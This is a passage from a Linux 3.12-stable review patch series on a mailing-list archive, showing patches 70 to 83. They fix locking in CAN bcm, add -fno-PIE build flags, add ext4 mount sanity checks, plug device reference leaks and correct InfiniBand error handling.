@@ -186,8 +197,6 @@ static void kvm_on_user_return(struct user_return_notifier *urn) values->curr = values->host; } } - locals->registered = false; -user_return_notifier_unregister (urn); }static void shared_msr_update (unsigned slot,u32 msr)
Signature · 1 line
2.10.2
PATCH 70/127 can: bcm: fix warning in bcm_connect/proc_register
In reply to Jiri SlabyFrom: Oliver Hartkopp <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit deb507f91f1adbf64317ad24ac46c56eeccfb754 upstream.
Andrey Konovalov reported an issue with proc_register in bcm.c. As suggested by Cong Wang this patch adds a lock_sock() protection and a check for unsuccessful proc_create_data() in bcm_connect().
Reference: http://marc.info/?l=linux-netdev&m=147732648731237
--- net/can/bcm.c | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-)
net/can/bcm.c +23 -9
@@ -1500,24 +1500,31 @@ static int bcm_connect(struct socket *sock, struct sockaddr *uaddr, int len,struct sockaddr_can *addr = (struct sockaddr_can *)uaddr;struct sock *sk = sock->sk;struct bcm_sock *bo =bcm_sk (sk); +int ret =0 ;if (len <sizeof (*addr))return -EINVAL ; -if (bo->bound) -return -EISCONN ; +lock_sock (sk); + +if (bo->bound) { + ret = -EISCONN ; + goto fail; + }/* bind a device to this socket */ if (addr->can_ifindex) {struct net_device *dev; dev =dev_get_by_index (&init_net, addr->can_ifindex); -if (!dev) -return -ENODEV ; - +if (!dev) { + ret = -ENODEV ; + goto fail; + }if (dev->type !=ARPHRD_CAN ) {dev_put (dev); -return -ENODEV ; + ret = -ENODEV ; + goto fail; } bo->ifindex = dev->ifindex;
@@ -1528,17 +1535,24 @@ static int bcm_connect(struct socket *sock, struct sockaddr *uaddr, int len, bo->ifindex =0 ; } - bo->bound =1 ; -if (proc_dir) {/* unique socket address as filename */ sprintf (bo->procname,"%lu" ,sock_i_ino (sk)); bo->bcm_proc_read =proc_create_data (bo->procname,0644 , proc_dir, &bcm_proc_fops, sk); +if (!bo->bcm_proc_read) { + ret = -ENOMEM ; + goto fail; + } } -return 0 ; + bo->bound =1 ; + +fail: +release_sock (sk); + +return ret; } static int bcm_recvmsg(struct kiocb *iocb, struct socket *sock,
Signature · 1 line
2.10.2
PATCH 71/127 kbuild: add -fno-PIE
In reply to Jiri SlabyFrom: Sebastian Andrzej Siewior <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 8ae94224c9d72fc4d9aaac93b2d7833cf46d7141 upstream.
Debian started to build the gcc with -fPIE by default so the kernel build ends before it starts properly with:
|kernel/bounds.c:1:0: error: code model kernel does not support PIC mode
Also add to KBUILD_AFLAGS due to:
|gcc -Wp,-MD,arch/x86/entry/vdso/vdso32/.note.o.d … -mfentry -DCC_USING_FENTRY … vdso/vdso32/note.S |arch/x86/entry/vdso/vdso32/note.S:1:0: sorry, unimplemented: -mfentry isn’t supported for 32-bit in combination with -fpic
Tagging it stable so it is possible to compile recent stable kernels as well.
--- Makefile | 2 ++ 1 file changed, 2 insertions(+)
Makefile +2 -0
@@ -583,6 +583,8 @@ endif # $(dot-config) all: vmlinux KBUILD_CFLAGS += $(call cc-disable-warning,maybe-uninitialized,) +KBUILD_CFLAGS += $(call cc-option,-fno-PIE) +KBUILD_AFLAGS += $(call cc-option,-fno-PIE) ifdef CONFIG_CC_OPTIMIZE_FOR_SIZE KBUILD_CFLAGS += -Os
Signature · 1 line
2.10.2
PATCH 72/127 scripts/has-stack-protector: add -fno-PIE
In reply to Jiri SlabyFrom: Sebastian Andrzej Siewior <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 82031ea29e454b574bc6f49a33683a693ca5d907 upstream.
Adding -no-PIE to the fstack protector check. -no-PIE was introduced before -fstack-protector so there is no need for a runtime check.
Without it the build stops:
|Cannot use CONFIG_CC_STACKPROTECTOR_STRONG: -fstack-protector-strong available but compiler is broken
due to -mcmodel=kernel + -fPIE if -fPIE is enabled by default.
Tagging it stable so it is possible to compile recent stable kernels as well.
--- scripts/gcc-x86_64-has-stack-protector.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
scripts/gcc-x86_64-has-stack-protector.sh +1 -1
@@ -1,6 +1,6 @@ #!/bin/sh -echo "int foo(void) { char X[200]; return 3; }" | $* -S -x c -c -O0 -mcmodel=kernel -fstack-protector - -o - 2> /dev/null | grep -q "%gs" +echo "int foo(void) { char X[200]; return 3; }" | $* -S -x c -c -O0 -mcmodel=kernel -fno-PIE -fstack-protector - -o - 2> /dev/null | grep -q "%gs" if [ "$?" -eq "0" ] ; then echo y else
Signature · 1 line
2.10.2
PATCH 73/127 kbuild: Steal gcc's pie from the very beginning
In reply to Jiri SlabyFrom: Borislav Petkov <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c6a385539175ebc603da53aafb7753d39089f32e upstream.
So Sebastian turned off the PIE for kernel builds but that was too late
- Kbuild.include already uses KBUILD_CFLAGS and trying to disable gcc options with, say cc-disable-warning, fails:
gcc -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs
...
-Wno-sign-compare -fno-asynchronous-unwind-tables -Wframe-address -c -x c /dev/null -o .31392.tmp /dev/null:1:0: error: code model kernel does not support PIC mode
because that returns an error and we can't disable the warning. For example in this case:
KBUILD_CFLAGS += $(call cc-disable-warning,frame-address,)
which leads to gcc issuing all those warnings again.
So let's turn off PIE/PIC at the earliest possible moment, when we declare KBUILD_CFLAGS so that cc-disable-warning picks it up too.
Also, we need the $(call cc-option ...) because -fno-PIE is supported since gcc v3.4 and our lowest supported gcc version is 3.2 right now.
--- Makefile | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
Makefile +3 -4
@@ -378,11 +378,12 @@ KBUILD_CFLAGS := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \ -Werror-implicit-function-declaration \ -Wno-format-security \ -fno-delete-null-pointer-checks \ - -std=gnu89 + -std=gnu89 $(call cc-option,-fno-PIE) + KBUILD_AFLAGS_KERNEL := KBUILD_CFLAGS_KERNEL := -KBUILD_AFLAGS := -D__ASSEMBLY__ +KBUILD_AFLAGS := -D__ASSEMBLY__ $(call cc-option,-fno-PIE) KBUILD_AFLAGS_MODULE := -DMODULE KBUILD_CFLAGS_MODULE := -DMODULE KBUILD_LDFLAGS_MODULE := -T $(srctree)/scripts/module-common.lds
@@ -583,8 +584,6 @@ endif # $(dot-config) all: vmlinux KBUILD_CFLAGS += $(call cc-disable-warning,maybe-uninitialized,) -KBUILD_CFLAGS += $(call cc-option,-fno-PIE) -KBUILD_AFLAGS += $(call cc-option,-fno-PIE) ifdef CONFIG_CC_OPTIMIZE_FOR_SIZE KBUILD_CFLAGS += -Os
Signature · 1 line
2.10.2
PATCH 74/127 ext4: sanity check the block and cluster size at mount time
In reply to Jiri SlabyFrom: Theodore Ts'o <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 8cdf3372fe8368f56315e66bea9f35053c418093 upstream.
If the block size or cluster size is insane, reject the mount. This is important for security reasons (although we shouldn't be just depending on this check).
Ref: http://www.securityfocus.com/archive/1/539661
Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1332506
--- fs/ext4/ext4.h | 1 + fs/ext4/super.c | 17 ++++++++++++++++- 2 files changed, 17 insertions(+), 1 deletion(-)
fs/ext4/ext4.h +1 -0
@@ -233,6 +233,7 @@ struct ext4_io_submit {#define EXT4_MAX_BLOCK_SIZE 65536#define EXT4_MIN_BLOCK_LOG_SIZE 10#define EXT4_MAX_BLOCK_LOG_SIZE 16 +#define EXT4_MAX_CLUSTER_LOG_SIZE 30#ifdef __KERNEL__# define EXT4_BLOCK_SIZE (s) ((s)->s_blocksize)#else
fs/ext4/super.c +16 -1
@@ -3612,7 +3612,15 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent)if (blocksize <EXT4_MIN_BLOCK_SIZE || blocksize >EXT4_MAX_BLOCK_SIZE ) {ext4_msg (sb,KERN_ERR , -"Unsupported filesystem blocksize %d" , blocksize); +"Unsupported filesystem blocksize %d (%d log_block_size)" , + blocksize,le32_to_cpu (es->s_log_block_size)); + goto failed_mount; + } +if (le32_to_cpu (es->s_log_block_size) > + (EXT4_MAX_BLOCK_LOG_SIZE -EXT4_MIN_BLOCK_LOG_SIZE )) { +ext4_msg (sb,KERN_ERR , +"Invalid log block size: %u" , +le32_to_cpu (es->s_log_block_size)); goto failed_mount; }
@@ -3727,6 +3735,13 @@ static int ext4_fill_super(struct super_block *sb, void *data, int silent) "block size (%d)", clustersize, blocksize); goto failed_mount; } +if (le32_to_cpu (es->s_log_cluster_size) > + (EXT4_MAX_CLUSTER_LOG_SIZE -EXT4_MIN_BLOCK_LOG_SIZE )) { +ext4_msg (sb,KERN_ERR , +"Invalid log cluster size: %u" , +le32_to_cpu (es->s_log_cluster_size)); + goto failed_mount; + } sbi->s_cluster_bits =le32_to_cpu (es->s_log_cluster_size) -le32_to_cpu (es->s_log_block_size); sbi->s_clusters_per_group =
Signature · 1 line
2.10.2
PATCH 75/127 mfd: core: Fix device reference leak in mfd_clone_cell
In reply to Jiri SlabyFrom: Johan Hovold <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 722f191080de641f023feaa7d5648caf377844f5 upstream.
Make sure to drop the reference taken by bus_find_device_by_name() before returning from mfd_clone_cell().
--- drivers/mfd/mfd-core.c | 2 ++ 1 file changed, 2 insertions(+)
drivers/mfd/mfd-core.c +2 -0
@@ -265,6 +265,8 @@ int mfd_clone_cell(const char *cell, const char **clones, size_t n_clones) clones[i]); } +put_device (dev); +return 0 ; }EXPORT_SYMBOL (mfd_clone_cell);
Signature · 1 line
2.10.2
PATCH 76/127 uwb: fix device reference leaks
In reply to Jiri SlabyFrom: Johan Hovold <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit d6124b409ca33c100170ffde51cd8dff761454a1 upstream.
This subsystem consistently fails to drop the device reference taken by class_find_device().
Note that some of these lookup functions already take a reference to the returned data, while others claim no reference is needed (or does not seem need one).
--- drivers/uwb/lc-rc.c | 16 +++++++++++++--- drivers/uwb/pal.c | 2 ++ 2 files changed, 15 insertions(+), 3 deletions(-)
drivers/uwb/lc-rc.c +13 -3
@@ -56,8 +56,11 @@ static struct uwb_rc *uwb_rc_find_by_index(int index)struct uwb_rc *rc =NULL ; dev =class_find_device (&uwb_rc_class,NULL , &index, uwb_rc_index_match); -if (dev) +if (dev) { rc =dev_get_drvdata (dev); +put_device (dev); + } +return rc; }
@@ -368,7 +371,9 @@ struct uwb_rc *__uwb_rc_try_get(struct uwb_rc *target_rc)if (dev) { rc =dev_get_drvdata (dev);__uwb_rc_get (rc); +put_device (dev); } +return rc; }EXPORT_SYMBOL_GPL (__uwb_rc_try_get);
@@ -421,8 +426,11 @@ struct uwb_rc *uwb_rc_get_by_grandpa(const struct device *grandpa_dev) dev =class_find_device (&uwb_rc_class,NULL , grandpa_dev, find_rc_grandpa); -if (dev) +if (dev) { rc =dev_get_drvdata (dev); +put_device (dev); + } +return rc; }EXPORT_SYMBOL_GPL (uwb_rc_get_by_grandpa);
@@ -454,8 +462,10 @@ struct uwb_rc *uwb_rc_get_by_dev(const struct uwb_dev_addr *addr)struct uwb_rc *rc =NULL ; dev =class_find_device (&uwb_rc_class,NULL , addr, find_rc_dev); -if (dev) +if (dev) { rc =dev_get_drvdata (dev); +put_device (dev); + }return rc; }
drivers/uwb/pal.c +2 -0
@@ -97,6 +97,8 @@ static bool uwb_rc_class_device_exists(struct uwb_rc *target_rc) dev =class_find_device (&uwb_rc_class,NULL , target_rc, find_rc); +put_device (dev); +return (dev !=NULL ); }
Signature · 1 line
2.10.2
PATCH 77/127 PM / sleep: fix device reference leak in test_suspend
In reply to Jiri SlabyFrom: Johan Hovold <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ceb75787bc75d0a7b88519ab8a68067ac690f55a upstream.
Make sure to drop the reference taken by class_find_device() after opening the RTC device.
--- kernel/power/suspend_test.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
kernel/power/suspend_test.c +3 -1
@@ -169,8 +169,10 @@ static int __init test_suspend(void)/* RTCs have initialized by now too ... can we use one? */ dev =class_find_device (rtc_class,NULL ,NULL , has_wakealarm); -if (dev) +if (dev) { rtc =rtc_class_open (dev_name (dev)); +put_device (dev); + }if (!rtc) {printk (warn_no_rtc); goto done;
Signature · 1 line
2.10.2
PATCH 78/127 IB/mlx4: Fix create CQ error flow
In reply to Jiri SlabyFrom: Matan Barak <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 593ff73bcfdc79f79a8a0df55504f75ad3e5d1a9 upstream.
Currently, if ib_copy_to_udata fails, the CQ won't be deleted from the radix tree and the HW (HW2SW).
--- drivers/infiniband/hw/mlx4/cq.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/infiniband/hw/mlx4/cq.c +4 -1
@@ -239,11 +239,14 @@ struct ib_cq *mlx4_ib_create_cq(struct ib_device *ibdev, int entries, int vectorif (context)if (ib_copy_to_udata (udata, &cq->mcq.cqn,sizeof (__u32))) { err = -EFAULT ; - goto err_dbmap; + goto err_cq_free; }return &cq->ibcq; +err_cq_free: +mlx4_cq_free (dev->dev, &cq->mcq); + err_dbmap:if (context)mlx4_ib_db_unmap_user (to_mucontext (context), &cq->db);
Signature · 1 line
2.10.2
PATCH 79/127 IB/mlx5: Use cache line size to select CQE stride
In reply to Jiri SlabyFrom: Daniel Jurgens <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 16b0e0695a73b68d8ca40288c8f9614ef208917b upstream.
When creating kernel CQs use 128B CQE stride if the cache line size is 128B, 64B otherwise. This prevents multiple CQEs from residing in a 128B cache line, which can cause retries when there are concurrent read and writes in one cache line.
Tested with IPoIB on PPC64, saw ~5% throughput
improvement.
--- drivers/infiniband/hw/mlx5/cq.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-)
drivers/infiniband/hw/mlx5/cq.c +1 -2
@@ -684,8 +684,7 @@ struct ib_cq *mlx5_ib_create_cq(struct ib_device *ibdev, int entries,if (err) goto err_create; }else { -/* for now choose 64 bytes till we have a proper interface */ - cqe_size =64 ; + cqe_size =cache_line_size () ==128 ?128 :64 ; err =create_cq_kernel (dev, cq, entries, cqe_size, &cqb, &index, &inlen);if (err)
Signature · 1 line
2.10.2
PATCH 80/127 IB/mlx5: Fix fatal error dispatching
In reply to Jiri SlabyFrom: Eli Cohen <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit dbaaff2a2caa03d472b5cc53a3fbfd415c97dc26 upstream.
When an internal error condition is detected, make sure to set the device inactive after dispatching the event so ULPs can get a notification of this event.
--- drivers/infiniband/hw/mlx5/main.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
drivers/infiniband/hw/mlx5/main.c +5 -1
@@ -959,12 +959,13 @@ static void mlx5_ib_event(struct mlx5_core_dev *dev, enum mlx5_dev_event event, { struct mlx5_ib_dev *ibdev = container_of(dev, struct mlx5_ib_dev, mdev);struct ib_event ibev; +bool fatal = false;u8 port =0 ;switch (event) {case MLX5_DEV_EVENT_SYS_ERROR : - ibdev->ib_active = false; ibev.event =IB_EVENT_DEVICE_FATAL ; + fatal = true;break ;case MLX5_DEV_EVENT_PORT_UP :
@@ -1012,6 +1013,9 @@ static void mlx5_ib_event(struct mlx5_core_dev *dev, enum mlx5_dev_event event,if (ibdev->ib_active)ib_dispatch_event (&ibev); + +if (fatal) + ibdev->ib_active = false; }static void get_ext_port_caps (struct mlx5_ib_dev *dev)
Signature · 1 line
2.10.2
PATCH 81/127 IB/uverbs: Fix leak of XRC target QPs
In reply to Jiri SlabyFrom: Tariq Toukan <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 5b810a242c28e1d8d64d718cebe75b79d86a0b2d upstream.
The real QP is destroyed in case of the ref count reaches zero, but for XRC target QPs this call was missed and caused to QP leaks.
Let's call to destroy for all flows.
--- drivers/infiniband/core/uverbs_main.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-)
drivers/infiniband/core/uverbs_main.c +2 -5
@@ -237,12 +237,9 @@ static int ib_uverbs_cleanup_ucontext(struct ib_uverbs_file *file, container_of(uobj, struct ib_uqp_object, uevent.uobject);idr_remove_uobj (&ib_uverbs_qp_idr, uobj); -if (qp != qp->real_qp) { -ib_close_qp (qp); - }else { +if (qp == qp->real_qp)ib_uverbs_detach_umcast (qp, uqp); -ib_destroy_qp (qp); - } +ib_destroy_qp (qp);ib_uverbs_release_uevent (file, &uqp->uevent);kfree (uqp); }
Signature · 1 line
2.10.2
PATCH 82/127 IB/cm: Mark stale CM id's whenever the mad agent was unregistered
In reply to Jiri SlabyFrom: Mark Bloch <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9db0ff53cb9b43ed75bacd42a89c1a0ab048b2b0 upstream.
When there is a CM id object that has port assigned to it, it means that the cm-id asked for the specific port that it should go by it, but if that port was removed (hot-unplug event) the cm-id was not updated. In order to fix that the port keeps a list of all the cm-id's that are planning to go by it, whenever the port is removed it marks all of them as invalid.
This commit fixes a kernel panic which happens when running traffic between guests and we force reboot a guest mid traffic, it triggers a kernel panic:
Call Trace: [<ffffffff815271fa>] ? panic+0xa7/0x16f [<ffffffff8152b534>] ? oops_end+0xe4/0x100 [<ffffffff8104a00b>] ? no_context+0xfb/0x260 [<ffffffff81084db2>] ? del_timer_sync+0x22/0x30 [<ffffffff8104a295>] ? __bad_area_nosemaphore+0x125/0x1e0 [<ffffffff81084240>] ? process_timeout+0x0/0x10 [<ffffffff8104a363>] ? bad_area_nosemaphore+0x13/0x20 [<ffffffff8104aabf>] ? __do_page_fault+0x31f/0x480 [<ffffffff81065df0>] ? default_wake_function+0x0/0x20 [<ffffffffa0752675>] ? free_msg+0x55/0x70 [mlx5_core] [<ffffffffa0753434>] ? cmd_exec+0x124/0x840 [mlx5_core] [<ffffffff8105a924>] ? find_busiest_group+0x244/0x9f0 [<ffffffff8152d45e>] ? do_page_fault+0x3e/0xa0 [<ffffffff8152a815>] ? page_fault+0x25/0x30 [<ffffffffa024da25>] ? cm_alloc_msg+0x35/0xc0 [ib_cm] [<ffffffffa024e821>] ? ib_send_cm_dreq+0xb1/0x1e0 [ib_cm] [<ffffffffa024f836>] ? cm_destroy_id+0x176/0x320 [ib_cm] [<ffffffffa024fb00>] ? ib_destroy_cm_id+0x10/0x20 [ib_cm] [<ffffffffa034f527>] ? ipoib_cm_free_rx_reap_list+0xa7/0x110 [ib_ipoib] [<ffffffffa034f590>] ? ipoib_cm_rx_reap+0x0/0x20 [ib_ipoib] [<ffffffffa034f5a5>] ? ipoib_cm_rx_reap+0x15/0x20 [ib_ipoib] [<ffffffff81094d20>] ? worker_thread+0x170/0x2a0 [<ffffffff8109b2a0>] ? autoremove_wake_function+0x0/0x40 [<ffffffff81094bb0>] ? worker_thread+0x0/0x2a0 [<ffffffff8109aef6>] ? kthread+0x96/0xa0 [<ffffffff8100c20a>] ? child_rip+0xa/0x20 [<ffffffff8109ae60>] ? kthread+0x0/0xa0 [<ffffffff8100c200>] ? child_rip+0x0/0x20
--- drivers/infiniband/core/cm.c | 127 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 111 insertions(+), 16 deletions(-)
drivers/infiniband/core/cm.c +111 -16
@@ -79,6 +79,8 @@ static struct ib_cm {__be32 random_id_operand;struct list_head timewait_list;struct workqueue_struct *wq; +/* Sync on cm change port state */ +spinlock_t state_lock; } cm;/* Counter indexes ordered by attribute ID */
@@ -160,6 +162,8 @@ struct cm_port {struct ib_mad_agent *mad_agent;struct kobject port_obj;u8 port_num; +struct list_head cm_priv_prim_list; +struct list_head cm_priv_altr_list;struct cm_counter_group counter_group[CM_COUNTER_GROUPS ]; };
@@ -237,6 +241,12 @@ struct cm_id_private {u8 service_timeout;u8 target_ack_delay; +struct list_head prim_list; +struct list_head altr_list; +/* Indicates that the send port mad is registered and av is set */ +int prim_send_port_not_ready; +int altr_send_port_not_ready; +struct list_head work_list;atomic_t work_count; };
@@ -255,19 +265,46 @@ static int cm_alloc_msg(struct cm_id_private *cm_id_priv,struct ib_mad_agent *mad_agent;struct ib_mad_send_buf *m;struct ib_ah *ah; +struct cm_av *av; +unsigned long flags, flags2; +int ret =0 ; +/* don't let the port to be released till the agent is down */ +spin_lock_irqsave (&cm.state_lock, flags2); +spin_lock_irqsave (&cm.lock, flags); +if (!cm_id_priv->prim_send_port_not_ready) + av = &cm_id_priv->av; +else if (!cm_id_priv->altr_send_port_not_ready && + (cm_id_priv->alt_av.port)) + av = &cm_id_priv->alt_av; +else { +pr_info ("%s: not valid CM id\n" , __func__); + ret = -ENODEV ; +spin_unlock_irqrestore (&cm.lock, flags); + goto out; + } +spin_unlock_irqrestore (&cm.lock, flags); +/* Make sure the port haven't released the mad yet */ mad_agent = cm_id_priv->av.port->mad_agent; - ah =ib_create_ah (mad_agent->qp->pd, &cm_id_priv->av.ah_attr); -if (IS_ERR (ah)) -return PTR_ERR (ah); +if (!mad_agent) { +pr_info ("%s: not a valid MAD agent\n" , __func__); + ret = -ENODEV ; + goto out; + } + ah =ib_create_ah (mad_agent->qp->pd, &av->ah_attr); +if (IS_ERR (ah)) { + ret =PTR_ERR (ah); + goto out; + } m =ib_create_send_mad (mad_agent, cm_id_priv->id.remote_cm_qpn, - cm_id_priv->av.pkey_index, + av->pkey_index,0 ,IB_MGMT_MAD_HDR ,IB_MGMT_MAD_DATA ,GFP_ATOMIC );if (IS_ERR (m)) {ib_destroy_ah (ah); -return PTR_ERR (m); + ret =PTR_ERR (m); + goto out; }/* Timeout set by caller if response is expected. */
@@ -277,7 +314,10 @@ static int cm_alloc_msg(struct cm_id_private *cm_id_priv,atomic_inc (&cm_id_priv->refcount); m->context[0 ] = cm_id_priv; *msg = m; -return 0 ; + +out: +spin_unlock_irqrestore (&cm.state_lock, flags2); +return ret; } static int cm_alloc_response_msg(struct cm_port *port,
@@ -346,7 +386,8 @@ static void cm_init_av_for_response(struct cm_port *port, struct ib_wc *wc, grh, &av->ah_attr); } -static int cm_init_av_by_path (struct ib_sa_path_rec *path,struct cm_av *av) +static int cm_init_av_by_path (struct ib_sa_path_rec *path,struct cm_av *av, +struct cm_id_private *cm_id_priv) {struct cm_device *cm_dev;struct cm_port *port =NULL ;
@@ -376,7 +417,18 @@ static int cm_init_av_by_path(struct ib_sa_path_rec *path, struct cm_av *av)ib_init_ah_from_path (cm_dev->ib_device, port->port_num, path, &av->ah_attr); av->timeout = path->packet_life_time +1 ; -return 0 ; + +spin_lock_irqsave (&cm.lock, flags); +if (&cm_id_priv->av == av) +list_add_tail (&cm_id_priv->prim_list, &port->cm_priv_prim_list); +else if (&cm_id_priv->alt_av == av) +list_add_tail (&cm_id_priv->altr_list, &port->cm_priv_altr_list); +else + ret = -EINVAL ; + +spin_unlock_irqrestore (&cm.lock, flags); + +return ret; }static int cm_alloc_id (struct cm_id_private *cm_id_priv)
@@ -716,6 +768,8 @@ struct ib_cm_id *ib_create_cm_id(struct ib_device *device,spin_lock_init (&cm_id_priv->lock);init_completion (&cm_id_priv->comp);INIT_LIST_HEAD (&cm_id_priv->work_list); +INIT_LIST_HEAD (&cm_id_priv->prim_list); +INIT_LIST_HEAD (&cm_id_priv->altr_list);atomic_set (&cm_id_priv->work_count,-1 );atomic_set (&cm_id_priv->refcount,1 );return &cm_id_priv->id;
@@ -914,6 +968,15 @@ retest:break ; } +spin_lock_irq (&cm.lock); +if (!list_empty (&cm_id_priv->altr_list) && + (!cm_id_priv->altr_send_port_not_ready)) +list_del (&cm_id_priv->altr_list); +if (!list_empty (&cm_id_priv->prim_list) && + (!cm_id_priv->prim_send_port_not_ready)) +list_del (&cm_id_priv->prim_list); +spin_unlock_irq (&cm.lock); +cm_free_id (cm_id->local_id);cm_deref_id (cm_id_priv);wait_for_completion (&cm_id_priv->comp);
@@ -1137,12 +1200,13 @@ int ib_send_cm_req(struct ib_cm_id *cm_id, goto out; } - ret =cm_init_av_by_path (param->primary_path, &cm_id_priv->av); + ret =cm_init_av_by_path (param->primary_path, &cm_id_priv->av, + cm_id_priv);if (ret) goto error1;if (param->alternate_path) { ret =cm_init_av_by_path (param->alternate_path, - &cm_id_priv->alt_av); + &cm_id_priv->alt_av, cm_id_priv);if (ret) goto error1; }
@@ -1562,7 +1626,8 @@ static int cm_req_handler(struct cm_work *work)cm_process_routed_req (req_msg, work->mad_recv_wc->wc);cm_format_paths_from_req (req_msg, &work->path[0 ], &work->path[1 ]); - ret =cm_init_av_by_path (&work->path[0 ], &cm_id_priv->av); + ret =cm_init_av_by_path (&work->path[0 ], &cm_id_priv->av, + cm_id_priv);if (ret) {ib_get_cached_gid (work->port->cm_dev->ib_device, work->port->port_num,0 , &work->path[0 ].sgid);
@@ -1572,7 +1637,8 @@ static int cm_req_handler(struct cm_work *work) goto rejected; }if (req_msg->alt_local_lid) { - ret =cm_init_av_by_path (&work->path[1 ], &cm_id_priv->alt_av); + ret =cm_init_av_by_path (&work->path[1 ], &cm_id_priv->alt_av, + cm_id_priv);if (ret) { ib_send_cm_rej(cm_id, IB_CM_REJ_INVALID_ALT_GID, &work->path[0].sgid,
@@ -2627,7 +2693,8 @@ int ib_send_cm_lap(struct ib_cm_id *cm_id, goto out; } - ret =cm_init_av_by_path (alternate_path, &cm_id_priv->alt_av); + ret =cm_init_av_by_path (alternate_path, &cm_id_priv->alt_av, + cm_id_priv);if (ret) goto out; cm_id_priv->alt_av.timeout =
@@ -2739,7 +2806,8 @@ static int cm_lap_handler(struct cm_work *work)cm_init_av_for_response (work->port, work->mad_recv_wc->wc, work->mad_recv_wc->recv_buf.grh, &cm_id_priv->av); -cm_init_av_by_path (param->alternate_path, &cm_id_priv->alt_av); +cm_init_av_by_path (param->alternate_path, &cm_id_priv->alt_av, + cm_id_priv); ret =atomic_inc_and_test (&cm_id_priv->work_count);if (!ret)list_add_tail (&work->list, &cm_id_priv->work_list);
@@ -2931,7 +2999,7 @@ int ib_send_cm_sidr_req(struct ib_cm_id *cm_id,return -EINVAL ; cm_id_priv = container_of(cm_id, struct cm_id_private, id); - ret =cm_init_av_by_path (param->path, &cm_id_priv->av); + ret =cm_init_av_by_path (param->path, &cm_id_priv->av, cm_id_priv);if (ret) goto out;
@@ -3352,7 +3420,9 @@ out:static int cm_migrate (struct ib_cm_id *cm_id) {struct cm_id_private *cm_id_priv; +struct cm_av tmp_av;unsigned long flags; +int tmp_send_port_not_ready;int ret =0 ; cm_id_priv = container_of(cm_id, struct cm_id_private, id);
@@ -3361,7 +3431,14 @@ static int cm_migrate(struct ib_cm_id *cm_id) (cm_id->lap_state == IB_CM_LAP_UNINIT || cm_id->lap_state == IB_CM_LAP_IDLE)) { cm_id->lap_state =IB_CM_LAP_IDLE ; +/* Swap address vector */ + tmp_av = cm_id_priv->av; cm_id_priv->av = cm_id_priv->alt_av; + cm_id_priv->alt_av = tmp_av; +/* Swap port send ready state */ + tmp_send_port_not_ready = cm_id_priv->prim_send_port_not_ready; + cm_id_priv->prim_send_port_not_ready = cm_id_priv->altr_send_port_not_ready; + cm_id_priv->altr_send_port_not_ready = tmp_send_port_not_ready; } else ret = -EINVAL ;spin_unlock_irqrestore (&cm_id_priv->lock, flags);
@@ -3767,6 +3844,9 @@ static void cm_add_one(struct ib_device *ib_device) port->cm_dev = cm_dev; port->port_num = i; +INIT_LIST_HEAD (&port->cm_priv_prim_list); +INIT_LIST_HEAD (&port->cm_priv_altr_list); + ret =cm_create_port_fs (port);if (ret) goto error1;
@@ -3813,6 +3893,8 @@ static void cm_remove_one(struct ib_device *ib_device) {struct cm_device *cm_dev;struct cm_port *port; +struct cm_id_private *cm_id_priv; +struct ib_mad_agent *cur_mad_agent;struct ib_port_modify port_modify = { .clr_port_cap_mask =IB_PORT_CM_SUP };
@@ -3830,10 +3912,22 @@ static void cm_remove_one(struct ib_device *ib_device)for (i =1 ; i <= ib_device->phys_port_cnt; i++) { port = cm_dev->port[i-1 ];ib_modify_port (ib_device, port->port_num,0 , &port_modify); -ib_unregister_mad_agent (port->mad_agent); +/* Mark all the cm_id's as not valid */ +spin_lock_irq (&cm.lock); +list_for_each_entry (cm_id_priv, &port->cm_priv_altr_list, altr_list) + cm_id_priv->altr_send_port_not_ready =1 ; +list_for_each_entry (cm_id_priv, &port->cm_priv_prim_list, prim_list) + cm_id_priv->prim_send_port_not_ready =1 ; +spin_unlock_irq (&cm.lock);flush_workqueue (cm.wq); +spin_lock_irq (&cm.state_lock); + cur_mad_agent = port->mad_agent; + port->mad_agent =NULL ; +spin_unlock_irq (&cm.state_lock); +ib_unregister_mad_agent (cur_mad_agent);cm_remove_port_fs (port); } +device_unregister (cm_dev->device);kfree (cm_dev); }
@@ -3846,6 +3940,7 @@ static int __init ib_cm_init(void)INIT_LIST_HEAD (&cm.device_list);rwlock_init (&cm.device_lock);spin_lock_init (&cm.lock); +spin_lock_init (&cm.state_lock); cm.listen_service_table =RB_ROOT ; cm.listen_service_id =be64_to_cpu (IB_CM_ASSIGN_SERVICE_ID ); cm.remote_id_table =RB_ROOT ;
Signature · 1 line
2.10.2
PATCH 83/127 net: fix sk_mem_reclaim_partial()
In reply to Jiri SlabyFrom: Eric Dumazet <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1a24e04e4b50939daa3041682b38b82c896ca438 upstream.
sk_mem_reclaim_partial() goal is to ensure each socket has one SK_MEM_QUANTUM forward allocation. This is needed both for performance and better handling of memory pressure situations in follow up patches.
